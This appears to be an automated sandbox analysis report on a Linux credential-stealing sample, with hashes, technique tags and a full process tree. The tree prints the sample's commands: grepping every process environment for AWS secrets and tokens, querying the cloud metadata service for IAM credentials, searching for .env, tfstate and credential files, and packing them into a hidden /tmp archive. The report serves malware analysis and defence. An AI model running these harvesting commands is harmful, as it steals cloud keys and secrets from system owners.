3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699

Analysis

max time kernel
19s
max time network
21s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
27/10/2026, 00:01

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
Size 5KB
Sample261027-aa7wjsxt5r
SHA256 3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
MD5 597b694b02913a657e408c2c9167e67f
SHA1 40b3d73219fd165837785634dccd67dda172b755
SHA512 0e488bfe46dcb8ac047dd14d76a8cc297a7aead37661a3336567035d4be835ed004edeae8abd534690fd379e39dd658444a692d890de8d219631fdde096cfc1a
SSDEEP 48:SfR4u8wP3FQvymZI/EXbCVuuY3/T/g/poQDwCPQ8cuc1NeQDMIMFRULA/tOSemQ2:sR5P1Bx7YMNcXNeQyFuLAjfQdDcoln+
TLSH
T126C185E9FCBC8871398E487EF54D6B101CC34A2F1DA22A4470A75C89FB2C52DF526B21
MD5 SHA1 SHA512 SSDEEP TLSH

Score

6^/10

antivm discovery execution

Malware Config

Signatures

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 3 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads CPU attributes 1 TTPs 4 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/power	find
File opened for reading	/sys/devices/system/cpu/hotplug	find
File opened for reading	/sys/devices/system/cpu/cpufreq	find
File opened for reading	/sys/devices/system/cpu/cpu0	find

Command and Scripting Interpreter: Unix Shell 1 TTPs 1 IoCs

Execute scripts via Unix Shell.

execution

Unix Shell

T1059.004

pid	Process
983	sh

Enumerates kernel/hardware configuration 1 TTPs 64 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/module/printk/parameters	find
File opened for reading	/sys/devices/platform/a000200.virtio_mmio	find
File opened for reading	/sys/bus/platform/drivers/syscon-poweroff	find
File opened for reading	/sys/devices/platform/a001000.virtio_mmio/power	find
File opened for reading	/sys/firmware/devicetree/base/virtio_mmio@a003200	find
File opened for reading	/sys/bus/amba	find
File opened for reading	/sys/bus/pci	find
File opened for reading	/sys/devices/platform/a003600.virtio_mmio	find
File opened for reading	/sys/devices/breakpoint/power	find
File opened for reading	/sys/devices/virtual/vc/vcs5	find
File opened for reading	/sys/bus/platform/drivers	find
File opened for reading	/sys/module/rc_core/parameters	find
File opened for reading	/sys/kernel/irq/5	find
File opened for reading	/sys/bus/pci/drivers/serial	find
File opened for reading	/sys/module/stahp/notes	find
File opened for reading	/sys/devices/virtual/vtconsole	find
File opened for reading	/sys/kernel/debug/opp	find
File opened for reading	/sys/kernel/irq/13	find
File opened for reading	/sys/devices/platform/a003000.virtio_mmio/power	find
File opened for reading	/sys/devices/virtual/tty/tty52	find
File opened for reading	/sys/bus/platform/drivers/omap_l3_smx	find
File opened for reading	/sys/bus/platform/drivers/palmas-rtc	find
File opened for reading	/sys/kernel/debug/regulator	find
File opened for reading	/sys/devices/platform/a002400.virtio_mmio	find
File opened for reading	/sys/devices/platform/9000000.pl011/power	find
File opened for reading	/sys/devices/platform/a001e00.virtio_mmio	find
File opened for reading	/sys/devices/platform/a000000.virtio_mmio	find
File opened for reading	/sys/devices/platform/a003a00.virtio_mmio/power	find
File opened for reading	/sys/bus/platform/drivers/mxc_rtc	find
File opened for reading	/sys/module/omap_mailbox	find
File opened for reading	/sys/kernel/debug/bdi	find
File opened for reading	/sys/fs/cgroup/devices/init.scope	find
File opened for reading	/sys/devices/platform/a000e00.virtio_mmio/power	find
File opened for reading	/sys/devices/virtual/vc/vcs4	find
File opened for reading	/sys/bus/platform/drivers/samsung-pinctrl	find
File opened for reading	/sys/bus/platform/drivers/poweroff-restart	find
File opened for reading	/sys/bus/gpio/devices	find
File opened for reading	/sys/bus/platform/drivers/twl4030_gpio	find
File opened for reading	/sys/bus/i2c/drivers/max77686	find
File opened for reading	/sys/module/mbcache/holders	find
File opened for reading	/sys/kernel/debug/tracing/options	find
File opened for reading	/sys/devices/platform/a000800.virtio_mmio	find
File opened for reading	/sys/class/mem	find
File opened for reading	/sys/kernel/irq/46	find
File opened for reading	/sys/devices/platform/a002800.virtio_mmio	find
File opened for reading	/sys/devices/virtual/tty/tty17	find
File opened for reading	/sys/bus/platform/drivers/arc-uart	find
File opened for reading	/sys/bus/platform/drivers/s5m-rtc	find
File opened for reading	/sys/module/x_tables	find
File opened for reading	/sys/kernel/irq/31	find
File opened for reading	/sys/bus/platform/drivers/sunxi-rsb	find
File opened for reading	/sys/devices/platform/Fixed MDIO bus.0/power	find
File opened for reading	/sys/devices/platform/0.flash/power	find
File opened for reading	/sys/class/mtd	find
File opened for reading	/sys/module/pcie_aspm/parameters	find
File opened for reading	/sys/kernel/debug/kprobes	find
File opened for reading	/sys/devices/virtual/vc/vcsa	find
File opened for reading	/sys/bus/platform/drivers/raspberrypi-power	find
File opened for reading	/sys/bus/platform/drivers/efi-framebuffer	find
File opened for reading	/sys/bus/spi/drivers	find
File opened for reading	/sys/devices/platform/a001a00.virtio_mmio/power	find
File opened for reading	/sys/bus/soc/devices	find
File opened for reading	/sys/bus/cpu	find
File opened for reading	/sys/bus/i2c/drivers/rtc-pcf8523	find

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/10/task/10/ns	find
File opened for reading	/proc/10/ns	find
File opened for reading	/proc/103/fd	find
File opened for reading	/proc/155/ns	find
File opened for reading	/proc/303/map_files	find
File opened for reading	/proc/645/attr	find
File opened for reading	/proc/646/environ	3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
File opened for reading	/proc/14/attr	find
File opened for reading	/proc/22/attr	find
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/3/task/3/net	find
File opened for reading	/proc/10/task/10/net	find
File opened for reading	/proc/113/fd	find
File opened for reading	/proc/141/task/141/ns	find
File opened for reading	/proc/285/task/298/net	find
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/sys/net/core	find
File opened for reading	/proc/2/map_files	find
File opened for reading	/proc/16/map_files	find
File opened for reading	/proc/19/task/19	find
File opened for reading	/proc/19/fdinfo	find
File opened for reading	/proc/323/net/dev_snmp6	find
File opened for reading	/proc/584/net/stat	find
File opened for reading	/proc/4/fdinfo	find
File opened for reading	/proc/9/attr	find
File opened for reading	/proc/18/ns	find
File opened for reading	/proc/27/net/stat	find
File opened for reading	/proc/28/map_files	find
File opened for reading	/proc/283/ns	find
File opened for reading	/proc/591/net/dev_snmp6	find
File opened for reading	/proc/645	find
File opened for reading	/proc/15/net/stat	find
File opened for reading	/proc/16/net/stat	find
File opened for reading	/proc/41/net/netfilter	find
File opened for reading	/proc/647/task	find
File opened for reading	/proc/sys/kernel/sched_domain/cpu0	find
File opened for reading	/proc/17/task/17/fd	find
File opened for reading	/proc/21/task/21/ns	find
File opened for reading	/proc/113/task/113/net	find
File opened for reading	/proc/285/net/stat	find
File opened for reading	/proc/646/task/646/fd	find
File opened for reading	/proc/273/net	find
File opened for reading	/proc/23/environ	3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/irq/50	find
File opened for reading	/proc/sys/net/unix	find
File opened for reading	/proc/283/net/stat	find
File opened for reading	/proc/285/task/301/ns	find
File opened for reading	/proc/974/map_files	find
File opened for reading	/proc/974/net	find
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/sys/kernel/pty	find
File opened for reading	/proc/3/task/3/attr	find
File opened for reading	/proc/103/task/103/fd	find
File opened for reading	/proc/228/task/228/fdinfo	find
File opened for reading	/proc/636/net/dev_snmp6	find
File opened for reading	/proc/977/task/977/attr	find
File opened for reading	/proc/9/net	find
File opened for reading	/proc/15/task/15/ns	find
File opened for reading	/proc/42/net/stat	find
File opened for reading	/proc/81/task/81/fdinfo	find
File opened for reading	/proc/141/net/dev_snmp6	find

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
983	sh
984	gzip

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/.aw648/summary.txt	3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
File opened for modification	/tmp/.aw648/env.txt	3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
File opened for modification	/tmp/.aw648/procenv.txt	3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
File opened for modification	/tmp/.aw648/imds_role.txt	3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
File opened for modification	/tmp/.aw648/files.txt	3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
File opened for modification	/tmp/.aw_debian9-armhf-20260513-en-9.tgz	tar

/tmp/3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
/tmp/3676a0645e8df86cd4187a3e4ad4a29f0773490f454bdce55265efd9ad78b699
1⤵
- Reads runtime system information
- Writes file to tmp directory
PID:648
- /bin/hostname
  hostname
  2⤵
  PID:650
- /bin/mkdir
  mkdir -p /tmp/.aw648
  2⤵
  PID:651
- /bin/date
  date -u
  2⤵
  PID:655
- /usr/bin/id
  id
  2⤵
  PID:658
- /usr/bin/env
  env
  2⤵
  PID:664
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:669
- /bin/sed
  sed "s|^|/proc/1/environ: |"
  2⤵
  PID:670
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:667
- /bin/sed
  sed "s|^|/proc/10/environ: |"
  2⤵
  PID:677
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:676
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:675
- /bin/sed
  sed "s|^|/proc/103/environ: |"
  2⤵
  PID:681
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:680
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:679
- /bin/sed
  sed "s|^|/proc/11/environ: |"
  2⤵
  PID:685
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:684
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:683
- /bin/sed
  sed "s|^|/proc/111/environ: |"
  2⤵
  PID:689
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:688
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:687
- /bin/sed
  sed "s|^|/proc/113/environ: |"
  2⤵
  PID:693
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:692
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:691
- /bin/sed
  sed "s|^|/proc/114/environ: |"
  2⤵
  PID:698
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:697
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:696
- /bin/sed
  sed "s|^|/proc/12/environ: |"
  2⤵
  PID:701
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:700
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:699
- /bin/sed
  sed "s|^|/proc/13/environ: |"
  2⤵
  PID:704
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:703
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:702
- /bin/sed
  sed "s|^|/proc/14/environ: |"
  2⤵
  PID:708
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:706
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:707
- /bin/sed
  sed "s|^|/proc/141/environ: |"
  2⤵
  PID:711
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:710
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:709
- /bin/sed
  sed "s|^|/proc/15/environ: |"
  2⤵
  PID:714
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:712
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:713
- /bin/sed
  sed "s|^|/proc/155/environ: |"
  2⤵
  PID:717
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:716
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:715
- /bin/sed
  sed "s|^|/proc/157/environ: |"
  2⤵
  PID:720
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:718
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:719
- /bin/sed
  sed "s|^|/proc/16/environ: |"
  2⤵
  PID:723
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:721
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:722
- /bin/sed
  sed "s|^|/proc/164/environ: |"
  2⤵
  PID:727
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:726
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:725
- /bin/sed
  sed "s|^|/proc/17/environ: |"
  2⤵
  - Reads runtime system information
  PID:730
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:729
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:728
- /bin/sed
  sed "s|^|/proc/174/environ: |"
  2⤵
  - Reads runtime system information
  PID:733
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:732
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:731
- /bin/sed
  sed "s|^|/proc/18/environ: |"
  2⤵
  PID:736
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:734
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:735
- /bin/sed
  sed "s|^|/proc/19/environ: |"
  2⤵
  PID:739
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:738
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:737
- /bin/sed
  sed "s|^|/proc/2/environ: |"
  2⤵
  PID:742
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:740
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:741
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:743
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:744
- /bin/sed
  sed "s|^|/proc/20/environ: |"
  2⤵
  PID:745
- /bin/sed
  sed "s|^|/proc/21/environ: |"
  2⤵
  PID:748
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:746
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:747
- /bin/sed
  sed "s|^|/proc/22/environ: |"
  2⤵
  PID:751
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:750
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:749
- /bin/sed
  sed "s|^|/proc/228/environ: |"
  2⤵
  PID:754
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:752
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:753
- /bin/sed
  sed "s|^|/proc/23/environ: |"
  2⤵
  PID:757
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:755
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:756
- /bin/sed
  sed "s|^|/proc/24/environ: |"
  2⤵
  PID:760
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:759
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:758
- /bin/sed
  sed "s|^|/proc/25/environ: |"
  2⤵
  PID:763
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:761
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:762
- /bin/sed
  sed "s|^|/proc/26/environ: |"
  2⤵
  PID:766
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:764
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:765
- /bin/sed
  sed "s|^|/proc/27/environ: |"
  2⤵
  PID:769
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:767
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:768
- /bin/sed
  sed "s|^|/proc/273/environ: |"
  2⤵
  PID:772
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:771
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:770
- /bin/sed
  sed "s|^|/proc/28/environ: |"
  2⤵
  PID:775
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:773
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:774
- /bin/sed
  sed "s|^|/proc/283/environ: |"
  2⤵
  PID:778
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:777
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:776
- /bin/sed
  sed "s|^|/proc/285/environ: |"
  2⤵
  PID:781
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:780
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:779
- /bin/sed
  sed "s|^|/proc/289/environ: |"
  2⤵
  PID:784
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:782
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:783
- /bin/sed
  sed "s|^|/proc/29/environ: |"
  2⤵
  PID:787
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:786
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:785
- /bin/sed
  sed "s|^|/proc/3/environ: |"
  2⤵
  PID:790
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:788
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:789
- /bin/sed
  sed "s|^|/proc/303/environ: |"
  2⤵
  PID:793
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:792
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:791
- /bin/sed
  sed "s|^|/proc/312/environ: |"
  2⤵
  PID:796
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:794
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:795
- /bin/sed
  sed "s|^|/proc/315/environ: |"
  2⤵
  PID:799
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:798
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:797
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:801
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:800
- /bin/sed
  sed "s|^|/proc/323/environ: |"
  2⤵
  PID:802
- /bin/sed
  sed "s|^|/proc/327/environ: |"
  2⤵
  PID:805
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:803
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:804
- /bin/sed
  sed "s|^|/proc/337/environ: |"
  2⤵
  PID:808
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:807
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:806
- /bin/sed
  sed "s|^|/proc/4/environ: |"
  2⤵
  PID:811
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:810
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:809
- /bin/sed
  sed "s|^|/proc/41/environ: |"
  2⤵
  PID:814
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:813
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:812
- /bin/sed
  sed "s|^|/proc/42/environ: |"
  2⤵
  PID:817
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:816
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:815
- /bin/sed
  sed "s|^|/proc/43/environ: |"
  2⤵
  PID:820
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:819
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:818
- /bin/sed
  sed "s|^|/proc/5/environ: |"
  2⤵
  PID:823
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:821
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:822
- /bin/sed
  sed "s|^|/proc/572/environ: |"
  2⤵
  PID:826
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:825
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:824
- /bin/sed
  sed "s|^|/proc/584/environ: |"
  2⤵
  - Reads runtime system information
  PID:829
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:827
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:828
- /bin/sed
  sed "s|^|/proc/587/environ: |"
  2⤵
  PID:832
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:831
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:830
- /bin/sed
  sed "s|^|/proc/591/environ: |"
  2⤵
  PID:835
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:834
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:833
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:837
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:836
- /bin/sed
  sed "s|^|/proc/592/environ: |"
  2⤵
  PID:838
- /bin/sed
  sed "s|^|/proc/6/environ: |"
  2⤵
  PID:841
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:840
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:839
- /bin/sed
  sed "s|^|/proc/636/environ: |"
  2⤵
  PID:844
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:843
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:842
- /bin/sed
  sed "s|^|/proc/639/environ: |"
  2⤵
  - Reads runtime system information
  PID:847
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:845
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:846
- /bin/sed
  sed "s|^|/proc/642/environ: |"
  2⤵
  PID:850
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:849
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:848
- /bin/sed
  sed "s|^|/proc/645/environ: |"
  2⤵
  PID:853
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:852
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:851
- /bin/sed
  sed "s|^|/proc/646/environ: |"
  2⤵
  PID:856
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:855
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:854
- /bin/sed
  sed "s|^|/proc/647/environ: |"
  2⤵
  PID:859
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:858
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:857
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:861
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:860
- /bin/sed
  sed "s|^|/proc/648/environ: |"
  2⤵
  PID:862
- /bin/sed
  sed "s|^|/proc/653/environ: |"
  2⤵
  PID:865
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:863
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:864
- /bin/sed
  sed "s|^|/proc/657/environ: |"
  2⤵
  PID:868
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:867
- /bin/sed
  sed "s|^|/proc/666/environ: |"
  2⤵
  PID:871
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:870
- /bin/sed
  sed "s|^|/proc/7/environ: |"
  2⤵
  PID:874
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:873
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:872
- /bin/sed
  sed "s|^|/proc/8/environ: |"
  2⤵
  PID:877
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:876
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:875
- /bin/sed
  sed "s|^|/proc/81/environ: |"
  2⤵
  PID:880
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:878
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:879
- /bin/grep
  grep -a -i -E "AWS_|SECRET|TOKEN|ACCESS_KEY"
  2⤵
  PID:882
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:881
- /bin/sed
  sed "s|^|/proc/9/environ: |"
  2⤵
  PID:883
- /usr/bin/curl
  curl -s -m 4 http://169.254.169.254/latest/meta-data/iam/security-credentials/
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:884
- /usr/bin/tr
  tr -d "\\r"
  2⤵
  PID:962
- /usr/bin/head
  head -1 /tmp/.aw648/imds_role.txt
  2⤵
  PID:961
- /usr/bin/tr
  tr -d "\\r"
  2⤵
  PID:965
- /usr/bin/curl
  curl -s -m 4 -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 60" http://169.254.169.254/latest/api/token
  2⤵
  - Checks CPU configuration
  PID:964
- /bin/grep
  grep -a AWS_CONTAINER_CREDENTIALS_RELATIVE_URI
  2⤵
  PID:968
- /usr/bin/tr
  tr "\\0" "\\n"
  2⤵
  PID:967
- /usr/bin/cut
  cut "-d=" -f2
  2⤵
  PID:969
- /usr/bin/cut
  cut "-d=" -f2
  2⤵
  PID:973
- /usr/bin/env
  env
  2⤵
  PID:971
- /bin/grep
  grep -a AWS_CONTAINER_CREDENTIALS_FULL_URI
  2⤵
  PID:972
- /usr/bin/head
  head -300
  2⤵
  PID:975
- /usr/bin/find
  find / -maxdepth 6 "(" -name .env -o -name "*.env" -o -name "docker-compose*.yml" -o -name "docker-compose*.yaml" -o -name "*.tfstate" -o -name credentials.xml -o -name application.yml -o -name application.properties -o -name .s3cfg -o -name "aws-config*" ")" -type f -size -3M
  2⤵
  - Reads CPU attributes
  - Enumerates kernel/hardware configuration
  - Reads runtime system information
  PID:974
- /bin/tar
  tar czf /tmp/.aw_debian9-armhf-20260513-en-9.tgz -C /tmp .aw648
  2⤵
  - Writes file to tmp directory
  PID:982
- - /bin/sh
